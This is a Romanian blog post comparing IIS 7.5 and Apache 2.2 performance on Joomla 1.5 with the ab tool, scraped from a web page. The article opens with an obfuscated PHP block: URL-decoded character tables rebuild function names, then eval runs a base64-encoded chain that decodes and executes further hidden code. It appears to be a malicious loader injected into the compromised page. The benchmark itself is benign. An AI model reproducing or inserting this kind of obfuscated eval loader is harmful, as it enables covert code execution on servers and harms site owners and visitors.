$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iVnNCVEFFYml1aFN4S05sT3dYREpmZ0lucVJ2ZXpqWkZrcldVdHlNUENZR0xRb2NhcG1kSEFreVVNcUZWSXNUbHRoYWVnY1lLcmltQkNKTHZuWmp4UldmUHBHWHViZEVRem9TSHdORE91WTlnSE9NaVl6bz0iO2V2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7")); ?> Benchmark. Performanta IIS vs. Apache – PHPRomania

Benchmark. Performanta IIS vs. Apache

Benchmark. Performanta IIS vs. Apache

Hardware

  • Intel Pentium Dual Core @ 2.10GHz
  • RAM: 4 GB

Software

  • Windows 7
  • IIS 7.5 (FastCGI, fara WinCache)
  • Apache 2.2.14 (mod_fcgid)
  • MySQL 5.1.41 instalat local
  • PHP 5.3.2
  • Joomla 1.5.15

Pentru teste am lansat aplicatia Joomla 1.5.15. Am ales o aplicatie reala care sa foloseasca o baza de date MySQL, care reprezinta cazul cel mai comun.
IIS 7.5 foloseste FastCGI, dar fara WinCache. La fel si pe Apache foloseste mod_fcgid si nu este configurat nici un accelerator. FastCGI e configurat implicit (maxim 4 instante concurente).

Testul

  1. Oprire Apache
  2. Pornire Apache
  3. Rulare comanda ab (Apache Bench) – 1000 cereri cu iesirea spre un fisier text
  4. Repetare pasi 1-3 cu procese concurente (1,3,5,10)

ab -n1000 http://localhost:8080/joomla/

  1. Oprire IIS
  2. Pornire IIS
  3. Rulare comanda ab (Apache Bench) – 1000 cereri cu iesirea spre un fisier text
  4. Repetare pasi 1-3 cu procese concurente (1,3,5,10)
ab -n1000 http://localhost/joomla/   

Rezultate

Cereri pe secunda

Nivel concurenta
Server web13510
Apache1.172.733.54.26
IIS3.254.725.785.97

Resurse

ab – Apache HTTP server benchmarking tool – http://httpd.apache.org/docs/2.0/programs/ab.html

The problem with Benchmarks – http://www.ibuildings.co.uk/blog/archives/1566-The-Problem-With-Benchmarks.html

How to benchmarks a web server – http://www.cyberciti.biz/tips/howto-performance-benchmarks-a-web-server.html

How to benchmark your Apache and IIS – http://adityo.blog.binusian.org/?p=313

How to performance benchmarks a Webserver – http://gala4th.blogspot.com/2009/03/howto-performance-benchmarks-webserver.html

Share this post

Lasă un răspuns

Adresa ta de email nu va fi publicată. Câmpurile obligatorii sunt marcate cu *

Acest sit folosește Akismet pentru a reduce spamul. Află cum sunt procesate datele comentariilor tale.